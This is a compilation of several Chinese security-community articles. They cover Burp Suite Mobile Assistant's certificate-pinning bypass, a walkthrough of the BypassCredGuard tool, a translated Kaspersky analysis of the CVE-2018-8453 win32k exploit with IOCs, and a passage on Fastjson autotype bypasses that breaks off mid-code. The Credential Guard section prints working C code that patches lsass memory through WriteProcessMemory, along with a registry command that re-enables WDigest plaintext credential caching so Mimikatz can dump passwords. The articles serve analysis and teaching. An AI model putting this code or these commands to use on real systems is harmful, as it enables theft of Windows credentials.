证书锁定是应用程序用来防御恶意用户扮演可信任服务器的技术，在这种情况下，锁定（pinning）是一种术语，指的是针对本地合法证书进行身份验证（由远程服务器提供
SSL 证书）的过程。所以说，只有当服务器可以提供与应用相匹配的证书可以证明其身份时，才能和远程服务器建立连接。
默认情况下，Burp Suite 通过其自签名的 CA
证书为每台主机生成签名证书。即使设备可能会信任这些证书，但它们无法与应用程序预期的证书相匹配。那么即使该设备已正确配置为 HTTPS 代理，也会造成
Burp Suite 的拦截和查看应用程序流量的能力会被证书锁定削弱。
Burp Suite Mobile Assistant 还可以注入其他应用程序，并且还能挂载到低级系统 API
以破坏证书锁定，从而允许用户拦截流量，甚至在证书锁定执行中的时候也可以。
使用系统 API
、第三方库或自定义代码，可通过不同方式实现证书锁定。然而某些情况下注入应用程序成功也可能无法禁用锁定，这表明应用程序正使用自定义代码执行证书锁定。
注：Mobile Assistant 绕过证书锁定的特性目前暂不支持 iOS 10 版本。
**注入到应用程序**
将你想要进行测试的 app 添加到列表中，这时候如果该应用程序与列表中的应用程序中至少有一个表项匹配，那么该 app
将会通过绕过证书锁定的方式被注入，接下来我们来介绍一下。
1.首先启动 Burp Suite Mobile Assistant，跟启动其他应用程序一样，点击图标：
2.设置代理：
3.点击添加要注入的应用程序：
4.添加成功会出现在列表中：
5.之后就可以开启或关闭注入功能了。在开启后，Mobile Assistant
会执行各种检查，如果这个过程发现错误，将会被自动关闭这个功能。同时在开启注入功能之后，我们需要去启动被注入的应用程序（若之前启动了，需要重新启动才能生效）：
6.如果弹出下图所示窗口，表示注入成功：
7.点击OK，MobileAssistant将绕过证书锁定，并且应用程序将能使用Burpsuite的自签名证书以数据的形式传输到服务器和客户端之间。
高级用户可能想将注入应用于多个相关应用。这可以通过添加高级过滤器来实现。以下类型的过滤器可用：
**1.可执行文件：** 将会匹配每个可执行文件名称与过滤器值相匹配的应用程序。
**2.软件包 ID：** 将会匹配有指定软件包 ID 的应用程序，或者有与该软件包 ID 有依赖关系的框架。比如，过滤器 com.apple.UIKit
将所有应用程序与 GUI 匹配; 过滤器 com.apple.Security 将与所有应用程序进行匹配。
**3.类：** 将会匹配所有实现名称与过滤器值相匹配的类的应用程序。
**从崩溃中恢复**
注入应用程序和挂载 API 调用的过程中是存在潜在风险。为此，Cydia Substrate 插件在意外情况下可防止设备进入永久崩溃状态。出现 Burp
Suite 移动助手崩溃并引发问题的情况时，请参阅 Cydia Substrate 的安全模式来解决。
**参考链接**
[Configuring Burp Suite Mobile
Assistant](https://support.portswigger.net/customer/en/portal/articles/2798917-Using%20Burp_MobileAssistant_Using.html)
[Installing Burp Suite Mobile
Assistant](https://support.portswigger.net/customer/en/portal/articles/2798916-installing-burp-suite-mobile-assistant)
更多精彩内容，请关注作者微信公众号： | 社区文章 |
本文内容主要参考Bypass Credential Guard项目，通过对这个项目代码的学习和理解，来更好的学习分析Mimikatz和Credential
Guard这两个在转储凭证时必不可少的因素。
**引用与介绍**
Windows 10 之前，Lsass 将操作系统所使用的密码存储在其进程内存中
当我们获取到机器权限后，经常使用Mimikatz在机器上获取各种凭证，包括明文密码，NTLM哈希和Kerberos票证。这些操作都是通过从LSASS进程内存中转储凭据的。
但是后来微软引入了 Windows Defender Credential Guard 这一概念，当Windows Defender Credential
Guard 启动之后，LSASS进程内存隔离来保护这些凭证。
于是后续产生了绕过Windows Defender Credential Guard 来破坏对于lsass进程内存的保护，从而进一步提取内存凭证
具体的进程隔离描述可以参考微软官方提供的效果图：
Mimikatz支持所有版本的 Windows x86 和 x64
Wdigest 是Mimikatz 最著名的功能，在Windows Server 2008 R2之前，wdigest
凭据缓存是默认启用的，之后随着更新纯文本凭据的缓存被禁用。
当我们在开启了Credential Guard的系统上使用Mimikatz 从LSASS进程内存中提取凭证的话就会出现下图的效果
当开启保护的时候就无法提取到明文的凭证了
**Mimikatz和sekurlsa::wdigest分析**
了解这两个首先我们需要针对lsass进程进行调试学习，其主要用于本地安全和登陆策略
调试一下lsass进程 来深入了解一下 wdigest.dll 和 Credential
Guard是怎样保护lsass进程的，以及我们该用怎样的方法去进行bypass.
测试调试环境 Win1909-18363.592
调试lsass.exe 得从内核调试才行，因为直接windbg附加的话会被告警然后重新启动停止运行。
!process 0 0 lsass.exe 获取进程地址 通过EPROCESS 确定地址 然后调试会话切换到 lsass进程
.process /i /p /r address lm 即可显示我们现在可以访问wdigest.dll的内存空间
查看Mimikate 源代码，可以发现其针对于不同的架构是在内存中识别凭证，其过程是通过扫描签名完成的。
#elif defined(_M_X64)
BYTE PTRN_WIN5_PasswdSet[] = {0x48, 0x3b, 0xda, 0x74};
BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74};
KULL_M_PATCH_GENERIC WDigestReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 36}},
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 48}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet}, {0, NULL}, {-4, 48}},
};
#elif defined(_M_IX86)
BYTE PTRN_WIN5_PasswdSet[] = {0x74, 0x18, 0x8b, 0x4d, 0x08, 0x8b, 0x11};
BYTE PTRN_WIN6_PasswdSet[] = {0x74, 0x11, 0x8b, 0x0b, 0x39, 0x4e, 0x10};
BYTE PTRN_WIN63_PasswdSet[] = {0x74, 0x15, 0x8b, 0x0a, 0x39, 0x4e, 0x10};
BYTE PTRN_WIN64_PasswdSet[] = {0x74, 0x15, 0x8b, 0x0f, 0x39, 0x4e, 0x10};
BYTE PTRN_WIN1809_PasswdSet[] = {0x74, 0x15, 0x8b, 0x17, 0x39, 0x56, 0x10};
KULL_M_PATCH_GENERIC WDigestReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-6, 36}},
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-6, 28}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet}, {0, NULL}, {-6, 32}},
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WIN63_PasswdSet), PTRN_WIN63_PasswdSet}, {0, NULL}, {-4, 32}},
{KULL_M_WIN_MIN_BUILD_10, {sizeof(PTRN_WIN64_PasswdSet), PTRN_WIN64_PasswdSet}, {0, NULL}, {-6, 32}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WIN1809_PasswdSet), PTRN_WIN1809_PasswdSet}, {0, NULL}, {-6, 32}},
};
我们这里着重关注 PTRN_WIN6_PasswdSet 所示的签名 可以看到有针对于不同架构的定义
我们可以通过其扫描机制确定 解密过程中参与的函数 也是提权凭据的关键 通过值我们可以定位到
wdigest.dll 如下的函数
LogSessHandlerPasswdSet 从名字可以大概理解到这是一个有关乎缓存中密码设置的，
继续分析查看交叉引用的话可以发现在其被调用存在这么一个函数 SpAcceptCredentials
SpAcceptCredentials 是一个从Wdigest.dll 导出的函数 ，msdn对其有着一定的解释
NTSTATUS Spacceptcredentialsfn(
[in] SECURITY_LOGON_TYPE LogonType,
[in] PUNICODE_STRING AccountName,
[in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
[in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
)
根据msdn的描述，可以确定我们的方向没错，可以看到凭据是通过此回调函数传递.
然后下个断点继续查看 验证一下
触发断点 runas /USER:renyimen /netonly cmd.exe 查看调用的参数，传入的凭据
查看寄存器的值发现，我们传入的用户名 主机名和输入的密码都是明文的发送传进来的。
从调用栈其实可以发现wdigest.dll 还有关于lsasrv.dll的参与
分析lsasrv! 调用的系列函数加上分反编译lsasrv.dll 可以明白主要是lsasrv做的凭证的加解密处理
分析lsasrv!LsapUpdateNamesAndCredentials 断点调用发现函数LsaProtectMemory，于是断点发现确实经过.
而在其中真正实现的函数是LsaEncryptMemory
而LsaEncryptMemory 实际上也是通过BCryptEncrypt去实现具体功能
BCryptEncrypt 又是由bcrypt.dll导出的，通过断点已经确定加密的流程就是如此
经过分析总结调用过程 BCryptEncrypt -->ApplyEncryptionPadding -->BCryptGenRandom
NTSTATUS __stdcall BCryptEncrypt(
BCRYPT_KEY_HANDLE hKey,
PUCHAR pbInput,
ULONG cbInput,
void *pPaddingInfo,
PUCHAR pbIV,
ULONG cbIV,
PUCHAR pbOutput,
ULONG cbOutput,
ULONG *pcbResult,
ULONG dwFlags)
通过msdn对此函数的介绍 可以明白 hkey是秘钥是句柄，pbinput
包含明文存放的地址，cbinput是加密的字节数，padding就是填充信息，pbiv为偏移
具体的算法我们先不用管，大致就是lsasrv是实现对明文凭证的加密，而具体算法实现的是通过bcrypt，然后通过msdn对于算法函数参数的介绍，我们已经明白关键是秘钥的生成。所以如果要解密Wdigest的凭据的话，就肯定需要获取到秘钥的信息。
然后这一步我们就可以看看mimikatz是如何做的，因为既然mimikatz是可以获取到没有被保护的凭证，那么肯定有其获取的办法。
如图我们可以在其中获取到Windows
版本和结构的完整签名列表，mimikatz这一步跟上边的签名搜索异曲同工也是在内存中搜索加密的秘钥。然后再通过计算其偏移提取出来。这样就完成了一个WDigest
缓存凭证被抓取和解密的过程。
下一步就是 绕过 保护的过程了。
**UseLogonCredential与绕过Credential Guard**
首先因为转储明文凭据这个机制在微软看来已经并不安全，于是微软决定默认禁用对这一遗留的机制问题。当然微软也会有考虑一些用户可能正在使用
WDigest，所以讲这个启动和关闭的决定权也留给了用户，因此提供重新启用和关闭它的选项。也就是注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
UseLogonCredential 在这种情况下催生出来。默认情况下是不存在这一项的
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
将其从“0”切换为“1”会强制 WDigest 再次开始缓存凭据
在 wdigest.dll 内部，直接搜索一下关键词UseLogonCredential，并且该变量是在注册表内可控的
再加上关于注册表操作的API，最后发现 wdigest!SpInitialize
从上述代码我们可以明白了 ，其通过 g_fParameter_UseLogonCredential 变量来确定系统是否设置了
UseLogonCredential 注册表键值。RegQueryValueExW也是用来检索当前注册表UseLogonCredential的键值。
通过了解 WDigest.dll 中的哪些变量控制凭据缓存，那么我们是否可以在不更新注册表的情况下修改它？在内核调试下这可以轻松做到。
首先当前系统禁用了 Wdigest，并且 Credential Guard 没有启用
然后进行测试 ed wdigest!g_fParameter_UserLogonCredential 1
成功修改。 此时然后还有一个变量g_IsCredGuardEnabled
这个变量就是重点了，它主要是保存模块内 Credential Guard 的状态，也就是我们主要绕过的目标。
而且它还决定了Wdigest是否使用 Credential Guard
兼容的功能。根据老办法搜索可以看到如下代码分析，g_fParameter_UserLogonCredential 和
g_IsCredGuardEnabled 都跟我们是否开启Credential Guard 的状态有关系。
那么我们就可以在修改g_fParameter_UserLogonCredential同时将这个值也修改为0或者1，来进行尝试看是否可以成功bypass。
关键代码分析
具体实现来结合一下github BypassCredGuard项目代码分析一下
首先最主要的肯定要通过RtlGetNtVersionNumbers 获取操作系统的版本，这样才能保证后续的正常运行。
int wmain(int argc, wchar_t* argv[])
{
HANDLE hToken = NULL;
RtlGetNtVersionNumbers(&NT_MAJOR_VERSION, &NT_MINOR_VERSION, &NT_BUILD_NUMBER);
// Open a process token and get a process token handle with TOKEN_ADJUST_PRIVILEGES permission
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
wprintf(L"[-] OpenProcessToken Error [%u].\n", GetLastError());
return -1;
}
if (EnableDebugPrivilege(hToken, SE_DEBUG_NAME))
{
PatchMemory();
}
}
然后因为lsass.exe是系统进程，因为我们调试都需要内核去调试，所以还需要AdjustTokenPrivileges去提升当前进程特权，开启SeDebugPrivilege。
最关键的地方 就是因为我们需要修改内存中g_fParameter_UserLogonCredential 和 g_IsCredGuardEnabled 的值
所以就要获取这两个变量在内存中的地址。
BOOL AcquireLSA()
{
BOOL status = FALSE;
DWORD pid;
if (pid = GetProcessIdByName(L"lsass.exe"))
cLsass.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
else
wprintf(L"[-] Lsass Process Not Found.");
cLsass.osContext.MajorVersion = NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = NT_BUILD_NUMBER & 0x00007fff;
if (GetVeryBasicModuleInformations(cLsass.hProcess) && LsassPackage.Module.isPresent)
{
wprintf(L"[*] Base address of wdigest.dll: 0x%016llx\n", LsassPackage.Module.Informations.DllBase.address);
if (LsaSearchGeneric(&cLsass, &LsassPackage.Module, g_References, ARRAYSIZE(g_References), (PVOID*)&g_fParameter_UseLogonCredential, (PVOID*)&g_IsCredGuardEnabled)
&& LsassPackage.Module.isInit)
{
wprintf(L"[*] Address of g_fParameter_UseLogonCredential: 0x%016llx\n", g_fParameter_UseLogonCredential);
wprintf(L"[*] Address of g_IsCredGuardEnabled: 0x%016llx\n", g_IsCredGuardEnabled);
status = TRUE;
}
}
return status;
}
先我们首先要获取lsass.exe
这个进程的pid，然后才能从其中获取其加载的wdigest.dll模块信息。主要是通过GetVeryBasicModuleInformations
这个函数获取lsass.exe 进程的基本信息
BOOL GetVeryBasicModuleInformations(HANDLE hProcess)
{
BOOL status = FALSE;
PEB Peb;
PEB_LDR_DATA LdrData;
LDR_DATA_TABLE_ENTRY LdrEntry;
PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation;
UNICODE_STRING moduleName;
PBYTE pListEntryStart, pListEntryEnd;
moduleInformation.ModuleName = &moduleName;
if (GetProcessPeb(hProcess, &Peb))
{
if (ReadProcessMemory(hProcess, Peb.Ldr, &LdrData, sizeof(PEB_LDR_DATA), NULL))
{
for (
pListEntryStart = (PBYTE)LdrData.InLoadOrderModuleList.Flink,
pListEntryEnd = (PBYTE)Peb.Ldr + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModuleList);
pListEntryStart != pListEntryEnd;
pListEntryStart = (PBYTE)LdrEntry.InLoadOrderLinks.Flink
)
{
if (ReadProcessMemory(hProcess, pListEntryStart, &LdrEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL))
{
moduleInformation.DllBase.address = LdrEntry.DllBase;
moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
moduleName = LdrEntry.BaseDllName;
if (GetUnicodeString(&moduleName, cLsass.hProcess))
{
status = FindModules(&moduleInformation);
}
LocalFree(moduleName.Buffer);
}
}
}
}
return status;
}
而在GetVeryBasicModuleInformations 函数内又编写了一个函数GetProcessPeb
这个函数的功能很简单就是通过NtQueryInformationProcess 检索lsass进程的信息
然后GetVeryBasicModuleInformations
函数内其他部分主要是遍历了PEB结构，通过获取lsass进程的PEB数据块，这样就能获取到lsass.exe 进程加载的 wdigest.dll
模块的地址等信息，获取到的信息通过定义的PROCESS_VERY_BASIC_MODULE_INFORMATION结构体，存放在其中。
这样获取wdigest.dll 信息后，就该进行获取两个变量g_fParameter_UserLogonCredential 和
g_IsCredGuardEnabled了
而获取这两个变量的话，其实做法是跟Mimikatz差不多也是采用通过获取系统版本特征码，然后用特征码进行识别和扫描进行对比。
BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1)
{
BOOL status = FALSE;
MEMORY_SEARCH sMemory = { {pLib->Informations.DllBase.address, pLib->Informations.SizeOfImage}, NULL };
PPATCH_GENERIC currentReference;
LONG offset;
MEMORY_ADDRESS lsassMemory;
if (currentReference = GetGenericFromBuild(genericReferences, cbReferences, cLsass->osContext.BuildNumber))
{
if (MemorySearch(cLsass->hProcess, currentReference->Search.Pattern, currentReference->Search.Length, &sMemory))
{
wprintf(L"[*] Matched signature at 0x%016llx: ", sMemory.result);
PrintfHex(currentReference->Search.Pattern, currentReference->Search.Length);
lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0;
if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
{
*genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
}
if (genericPtr1)
{
lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off1;
if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
{
*genericPtr1 = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
}
}
}
}
pLib->isInit = status;
return status;
}
LsaSearchGeneric 函数主要通过
GetGenericFromBuild函数（它会根据版本号的，选择合适的规则）获取特征码，然后再通过MemorySearch
函数在内存中匹配特别获取到的特征码，然后遍历范围内的内存。最后通过RtlEqualMemory 函数去获取和特征码一样的内存块。得到特征码的地址
上述代码分析g_IsCredGuardEnabled判断的地方 查看汇编代码的话，可以得到cmp
cs:g_fParameter_UseLogonCredential 指令，这个指令就是保存了g_fParameter_UseLogonCredential
变量的地址，这样通过这个指令 我们就能获取到特征了就可以方便后续的匹配从而确定偏移地址继而算出变量地址。
所以最后通过ReadProcessMemory函数读入该进程的内存空间获取这个变量的偏移量。再通过计算
(PBYTE)sMemory.result + currentReference->Offsets.off0
最后这样就成功得到 g_fParameter_useLogonCredential 的地址 g_IsCredGuardEnabled
也是一样的方法获取到其变量的地址。
最后通过PatchMemory 函数修改变量在内存的值（主要就是通过WriteProcessMemory 来进行内存地址的修改），然后达到绕过的效果。
BOOL PatchMemory()
{
BOOL status = FALSE;
DWORD dwCurrent;
DWORD UseLogonCredential = 1;
DWORD IsCredGuardEnabled = 0;
status = AcquireLSA();
if (status)
{
if (ReadProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, &dwCurrent, sizeof(DWORD), NULL))
{
wprintf(L"[*] The current value of g_fParameter_UseLogonCredential is %d\n", dwCurrent);
if (WriteProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, (PVOID)&UseLogonCredential, sizeof(DWORD), NULL))
{
wprintf(L"[*] Patched value of g_fParameter_UseLogonCredential to 1\n");
status = TRUE;
}
else
wprintf(L"[-] Failed to WriteProcessMemory for g_fParameter_UseLogonCredential.\n");
}
else
wprintf(L"[-] Failed to ReadProcessMemory for g_fParameter_UseLogonCredential\n");
if (ReadProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, &dwCurrent, sizeof(DWORD), NULL))
{
wprintf(L"[*] The current value of g_IsCredGuardEnabled is %d\n", dwCurrent);
if (WriteProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, (PVOID)&IsCredGuardEnabled, sizeof(DWORD), NULL))
{
wprintf(L"[*] Patched value of g_IsCredGuardEnabled to 0\n");
status = TRUE;
}
else
wprintf(L"[-] Failed to WriteProcessMemory for g_IsCredGuardEnabled.\n");
}
else
wprintf(L"[-] Failed to ReadProcessMemory for g_IsCredGuardEnabled\n");
}
return status;
}
最后成功实现 完成绕过
总结一下其就是找到了决定因素的两个变量，然后通过lsass进程来确定wdigest.dll地址，继而再去获取到g_fParameter_useLogonCredential
和 g_IsCredGuardEnabled 的地址，然后修改其内存中的值这样就使其防护失效了。最后就可以通过Mimikatz完成获取明文凭证的效果。 | 社区文章 |
# CVE-2018-8453漏洞分析利用
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
微软发布了他们的安全公告，修补了CVE-2018-8453等若干漏洞。CVE-2018-8453是卡巴斯基实验室于今年8月份发现的win32k.sys漏洞。我们于2018年8月17日向Microsoft报告了此漏洞，Microsoft已确认此漏洞并将其指定为CVE-2018-8453。
在2018年8月，我们的自动漏洞防护(AEP)系统检测到一个尝试利用微软Windows操作系统中的漏洞的案例。对此案例的进一步分析使我们发现了win32k.sys中的0day漏洞。exploit代码会在恶意软件安装程序的第一阶段时被执行，用于获得一些必要的权限从而能在受害者电脑上造成更持久的攻击。该漏洞利用代码质量很高，其设计目的便是可靠地利用尽可能多的微软Windows各版本系统，包括Windows
10 RS4。
到目前为止，我们只检测到非常少数利用此漏洞进行的攻击行为，受害者位于中东。
卡巴斯基实验室的技术产品通过以下技术主动检测到该漏洞：
1. 基于端点的行为检测引擎和自动化漏洞攻击防御
2. 卡巴斯基反目标攻击平台(KATA)高级沙盒和反恶意软件引擎技术
卡巴斯基实验室对这次案例中的漏洞检测定义如下：
* HEUR：Exploit.Win32.Generic
* HEUR：Trojan.Win32.Generic
* PDM： Exploit.Win32.Generic
客户可以通过卡巴斯基情报获取有关此攻击的更多信息。
联系方式：[email protected]
## 技术细节
CVE-2018-8453是一种”释放后使用”(UAF)类型的漏洞，位于 **win32kfull!xxxDestroyWindow**
中，类似于一个年份久一些的漏洞—CVE-2017-0263。CVE-2017-0263漏洞最初由[Sofacy
APT](https://securelist.com/a-slice-of-2017-sofacy-activity/83930/)组织于2017年，与一个PostScript漏洞一起进行部署验证。
为了对漏洞做技术分析，我们完整地逆向了所获得的ITW利用样本，并且重写了一个完整的POC。
利用此漏洞的关键在于通过钩子从而得到执行的一系列事件，钩子被挂在三个用户模式的回调函数（ **fnDWORD** ， **fnNCDESTROY** ,
**fnINLPCREATESTRUCT** ）上。该漏洞通过替换掉 **KernelCallbackTable** 中的函数指针来装载这些钩子。
内核回调表中的钩子函数
在 **fnINLPCREATESTRUCT** 钩子中，我们的exploit通过显式地指定位置来初始化” _SysShadow_ “窗口。
fnINLPCREATESTRUCT上的Usermode挂钩初始化SysShadow
当处理 **WM_LBUTTONDOWN** 消息时， **fnDWORD** 钩子会在父节点上执行 **DestroyWindow**
函数，导致窗口被标记为空闲，并且随后被垃圾收集器释放。
问题的关键点位于 **DestroyWindow** 函数运行期间被执行的 **fnNCDESTROY** 钩子。它会执行
**NtUserSetWindowFNID** 系统调用，该调用包含一个逻辑缺陷，可以绕过检查窗口是否被标记为 **FNID_FREED**
而直接改变窗口的 **fnid** 状态位。
NtUserSetWindowFNID中的易受攻击的代码
窗口的fnid状态位位于tagWND结构体中的0x02a偏移量处：
kd> dt win32k！tagWND
...
+ 0x02a fnid：Uint2B
最初滚动条被创建时，它的值为 **FNID_SCROLLBAR(0x029A)** 。
下图显示了执行 **NtUserSetWindowFNID** 系统调用前后的 **fnid** 值：
在执行NtUserSetWindowFNID系统调用之前和之后的滚动条fnid
我们可以通过 **ReactOS**
的[源码](https://doxygen.reactos.org/dd/d79/include_2ntuser_8h.html#a399ba6dbe78c18db70cf90865ee9e0af)来获取并检查新的
**fnid** 值：
/ * NtUserSetWindowFNID的FNID，NtUserMessageCall * /
#define FNID_SCROLLBAR 0x029A
...
#define FNID_BUTTON 0x02A1
...
#define FNID_FREED 0x8000 / *正在释放的窗口... * /
这个动作会导致第一个滚动条被销毁，而系统同时还保留着一个对”SysShadow”类的引用，因为滚动条fnid不再被标记为FNID_FREED，而是FNID_BUTTON。
为了成功回收释放的内存池，该exploit还包含了许多不同的风水策略。喷射程序取决于被利用的系统的版本，由于exploit可以影响到很多种操作系统，所以对应各种系统它有以下5个独立的堆喷射函数：
支持的堆喷射程序
对于最新的版本(Windows 10
RS4)，喷射策略非常复杂。内核受到不同大小的位图对象喷射。这就需要耗尽内存分配器的资源，从而最终绕过新版本Windows中得到显著改进的低碎片堆安全缓解技术(Low
Fragmentation Heap security mitigations)：
用于Windows RS4 17134的堆风水技术
这会导致如下的内存布局，其中 **USERTAG_SCROLLTRACK** 是释放后的池分配。
释放滚动条堆分配
分配另一个滚动条时，SysShadow类的内存引用会被重用，但是其内容受攻击者控制，因为释放的Usst(ffffee30044b2a10)和Gpbm(ffffee30044b2a90)池合并为一个块：
释放的内存与后面的池合并
导致即使是在最新版本的Windows系统上，也可以实现使用GDI Bitmap原语的、强大的任意内核读/写。
成功利用之后，一个略做修改、用于偷取token的payload会被用于交换当前进程和SYSTEM EPROCESS结构中的token。
修改后的令牌窃取payload进程
到目前为止，当exploit被打包在恶意软件安全程序中时，我们已经在一些针对性攻击中观察其被使用。安装程序会请求系统的特权从而安装payload。payload被复杂地嵌入到系统，从而使得攻击者可以持久地访问受害者机器。payload的一些主要特征包含以下：
1. 会使用带有SMBIOS UUID的SHA-1的AES-256-CBC套件加密主要payload（这使得如果SMBIOS UUID未知的话，将无法在受害者机器之外的其它机器上解密payload）
2. 使用Microsoft BITS（后台智能传输服务）与其C&C服务器进行通信，这是一种不寻常的技术
3. 将主要payload存储在硬盘上一个随机命名的文件中；装载程序包含该文件名的哈希值，会尝试通过比较windows目录中的全部文件的文件名哈希值来找到payload。
客户可以通过卡巴斯基情报获取有关该恶意软件及其背后的APT攻击的更多信息。
联系方式：[email protected]
## 受害者
根据我们的遥感勘测，攻击的分布性似乎是高度针对性的，影响了中东地区不超过12名的受害者。
## 归因
在我们的调查过程中，我们发现攻击者使用的是PowerShell后门，这个后门之前被FruityArmor
APT独家使用。在这一系列事件与之前的FruityArmor活动之间，所使用的C2域名也存在重叠。这让我们充满信心地评估出，FruityArmor应该和这次CVE-2018-8453攻击有很大的关系。
## 结论
即使0day似乎比以前更频繁，这也是我们第二次发现FruityArmor使用其中一个来分发其恶意软件。这展示出了这个行动者的资源丰富和复杂性，以及他们散布出的先进的终端机器。
到目前为止，这次攻击活动极具针对性，影响了中东地区极少数受害者，可能是袭击者感兴趣的人。然而，特别是在涉及的受害者人数如此之少时，受害者研究结果尚不完整。
我们相信尽管FruityArmor的活动在过去两年中一直在缓慢增加，但这些攻击的极具针对性的特性有助于它们在雷达之下飞行
## 附录I – Indicators of compromise
### Domains
weekendstrips[.]net
shelves-design[.]com | 社区文章 |
**作者：Kingkk**
**原文链接：<https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
继去年1.2.47 Fastjson被绕过之后，最近的1.2.68又出现了绕过。
正好前段时间翻了一遍Fastjson的源码，对整体逻辑有了一些了解，就尝试分析下autotype的校验过程，以及这两次绕过的思路。若有错误，还望指出。
# autotype的校验
## 为什么校验一直被绕过
1.2.24之后，fastjson对反序列化的类型进行了校验，主要就体现在`ParserConfig.checkAutoType`函数中
里面会对反序列化的类型进行黑白名单和校验，然后获取对应的Java类。
至于为什么没开启`SupportAutoType`属性依然会存在反序列化的危险呢？
可以看到在解析过程中，只要key值为`@type`时，就会进入`checkAutoType`函数尝试获取类。
而且校验`SupportAutoType`属性的工作却是在`checkAutoType`函数中完成的（跟进之后也可以看到是在函数最末端调校验的值，并且在这之前有多处return）
那为什么要有这种设计呢？主要原因在于fastjson想让一些基础类（还有一些白名单中的异常类）可以不受`SupportAutoType`限制就可以反序列化。
例如之前别人提出的验证是否使用fastjson的`java.net.Inet6Address`、`java.net.URL`也都是这个原理。
可以看到，即使不开启`SupportAutoType`依然是可以获取到具体的java类的。
所以，这就是为什么校验一直被绕过，感觉主要原因就在于为了实现这个feature，而导致的一些逻辑问题。
## 校验过程
checkAutoType主要有三个参数
* `String typeName` 被序列化的类名
* `Class<?> expectClass` 期望类
* `int features` 配置的feature值
先简单说下`expectClass`这个期望类，它的主要目的是为了让一些实现了`expectClass`这个接口的类可以被反序列化。
然后来看下校验的过程，一开始就是一些非null和长度限制的判断
之后判断`exceptClass`的类型，如果非null并且不是如下类型，则设置`expectClassFlag`为`true`
简单说的话就是不允许如下类型的`exceptClass`
* `Object.class`
* `Serializable.class`
* `Cloneable.class`
* `Closeable.class`
* `EventListener.class`
* `Iterable.class`
* `Collection.class`
之后比较长的一个部分就是比较类的哈希值，是否在内部白名单和内部黑名单中
如果在不在内部白名单并且 开启了`SupportAutoType` 或者
存在期望类时：如果在白名单中则直接加载，在黑名单中则异常退出。（讲起来有点绕，直接看代码可能好点）
String className = typeName.replace('$', '.');
Class<?> clazz;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
